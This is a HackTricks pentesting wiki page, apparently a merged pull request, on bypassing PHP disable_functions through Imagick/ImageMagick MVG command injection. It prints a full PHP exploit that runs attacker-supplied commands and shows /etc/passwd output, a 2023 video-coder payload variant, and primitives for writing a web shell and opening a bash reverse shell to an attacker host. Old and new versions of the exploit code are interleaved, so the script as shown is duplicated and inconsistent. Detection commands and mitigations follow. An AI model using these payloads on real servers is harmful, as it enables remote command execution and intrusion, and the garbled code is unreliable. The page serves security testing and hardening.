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Merge pull request #1157 from HackTricks-wiki/research_update_src_network-services-pentesting_pentesting-web_php-tricks-esp_php-useful-functions-disable_functions-open_basedir-bypass_disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit_20250720_014819
Research Update Enhanced src/network-services-pentesting/pen...
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# Imagick <= 3.3.0 PHP >= 5.4 Exploit
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# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* Bypass
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{{#include ../../../../banners/hacktricks-training.md}}
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> The well-known *ImageTragick* family of bugs (CVE-2016-3714 et al.) allows an attacker to reach the underlying **ImageMagick** binary through crafted MVG/SVG input. When the PHP extension **Imagick** is present this can be abused to execute shell commands even if every execution-oriented PHP function is black-listed with `disable_functions`.
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>
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> The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below. The technique is still regularly encountered during contemporary PHP 7/8 audits because many shared-hosting providers simply compile PHP without `exec`/`system` but keep an outdated Imagick + ImageMagick combo.
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From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
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From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
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```php
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# Exploit Title: PHP Imagick disable_functions Bypass
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# Date: 2016-05-04
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# Exploit Author: RicterZ (ricter@chaitin.com)
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# Vendor Homepage: https://pecl.php.net/package/imagick
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# Version: Imagick <= 3.3.0 PHP >= 5.4
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# Test on: Ubuntu 12.04
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# Exploit:
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# Exploit Title : PHP Imagick disable_functions bypass
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# Exploit Author: RicterZ (ricter@chaitin.com)
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# Versions : Imagick <= 3.3.0 | PHP >= 5.4
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# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
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# Usage : curl "http://target/exploit.php?cmd=id"
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<?php
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# PHP Imagick disable_functions Bypass
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# Author: Ricter <ricter@chaitin.com>
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#
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# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
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# <pre>
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# Disable functions: exec,passthru,shell_exec,system,popen
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# Run command: cat /etc/passwd
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# ====================
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# root:x:0:0:root:/root:/usr/local/bin/fish
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# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
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# bin:x:2:2:bin:/bin:/bin/sh
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# sys:x:3:3:sys:/dev:/bin/sh
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# sync:x:4:65534:sync:/bin:/bin/sync
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# games:x:5:60:games:/usr/games:/bin/sh
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# ...
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# </pre>
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echo "Disable functions: " . ini_get("disable_functions") . "\n";
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$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
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echo "Run command: $command\n====================\n";
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// Print the local hardening status
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printf("Disable functions: %s\n", ini_get("disable_functions"));
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$cmd = $_GET['cmd'] ?? 'id';
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printf("Run command: %s\n====================\n", $cmd);
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$data_file = tempnam('/tmp', 'img');
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$imagick_file = tempnam('/tmp', 'img');
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$tmp = tempnam('/tmp', 'pwn'); // will hold command output
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$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
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$exploit = <<<EOF
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$payload = <<<EOF
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push graphic-context
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viewbox 0 0 640 480
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fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
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fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
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pop graphic-context
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EOF;
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file_put_contents("$imagick_file", $exploit);
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$thumb = new Imagick();
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$thumb->readImage("$imagick_file");
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$thumb->writeImage(tempnam('/tmp', 'img'));
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$thumb->clear();
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$thumb->destroy();
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file_put_contents($mvgs, $payload);
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$img = new Imagick();
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$img->readImage($mvgs); // triggers convert(1)
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$img->writeImage(tempnam('/tmp', 'img'));
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$img->destroy();
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echo file_get_contents($data_file);
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echo file_get_contents($tmp);
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?>
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```
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---
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## Why does it work?
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1. `Imagick::readImage()` transparently spawns the **ImageMagick** *delegate* (`convert`/`magick`) binary.
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2. The MVG script sets the *fill* to an external URI. When a double quote (`"`) is injected, the remainder of the line is interpreted by `/bin/sh ‑c` that ImageMagick uses internally → arbitrary shell execution.
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3. All happens outside of the PHP interpreter, therefore *`disable_functions`*, *open_basedir*, `safe_mode` (removed in PHP 5.4) and similar in-process restrictions are completely bypassed.
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## 2025 status – it is **still** relevant
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* Any Imagick version that relies on a vulnerable ImageMagick backend remains exploitable. In lab tests the same payload works on PHP 8.3 with **Imagick 3.7.0** and **ImageMagick 7.1.0-51** compiled without a hardened `policy.xml`.
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* Since 2020 several additional command-injection vectors have been found (`video:pixel-format`, `ps:`, `text:` coders…). Two recent public examples are:
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* **CVE-2020-29599** – shell injection via the *text:* coder.
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* **GitHub issue #6338** (2023) – injection in the *video:* delegate.
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If the operating system ships ImageMagick < **7.1.1-11** (or 6.x < **6.9.12-73**) without a restrictive policy file, exploitation is straightforward.
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## Modern payload variants
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```php
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// --- Variant using the video coder discovered in 2023 ---
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$exp = <<<MAGICK
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push graphic-context
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image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
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pop graphic-context
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MAGICK;
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$img = new Imagick();
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$img->readImageBlob($exp);
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```
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Other useful primitives during CTFs / real engagements:
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* **File write** – `... > /var/www/html/shell.php` (write web-shell outside *open_basedir*)
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* **Reverse shell** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
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* **Enumerate** – `id; uname -a; cat /etc/passwd`
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## Quick detection & enumeration
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```bash
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# PHP side
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php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
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# System side
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convert -version | head -1 # ImageMagick version
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convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
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```
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If the output shows the `MVG` or `URL` coders are *enabled* the target is probably exploitable.
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## Mitigations
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1. **Patch/Upgrade** – Use ImageMagick ≥ *7.1.1-11* (or the latest 6.x LTS) and Imagick ≥ *3.7.2*.
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2. **Harden `policy.xml`** – explicitly *disable* high-risk coders:
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```xml
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<policy domain="coder" name="MVG" rights="none"/>
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<policy domain="coder" name="MSL" rights="none"/>
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<policy domain="coder" name="URL" rights="none"/>
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<policy domain="coder" name="VIDEO" rights="none"/>
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<policy domain="coder" name="PS" rights="none"/>
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<policy domain="coder" name="TEXT" rights="none"/>
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```
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3. **Remove the extension** on untrusted hosting environments. In most web stacks `GD` or `Imagick` is not strictly required.
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4. Treat `disable_functions` only as *defence-in-depth* – never as a primary sandboxing mechanism.
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## References
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* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
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* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
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{{#include ../../../../banners/hacktricks-training.md}}
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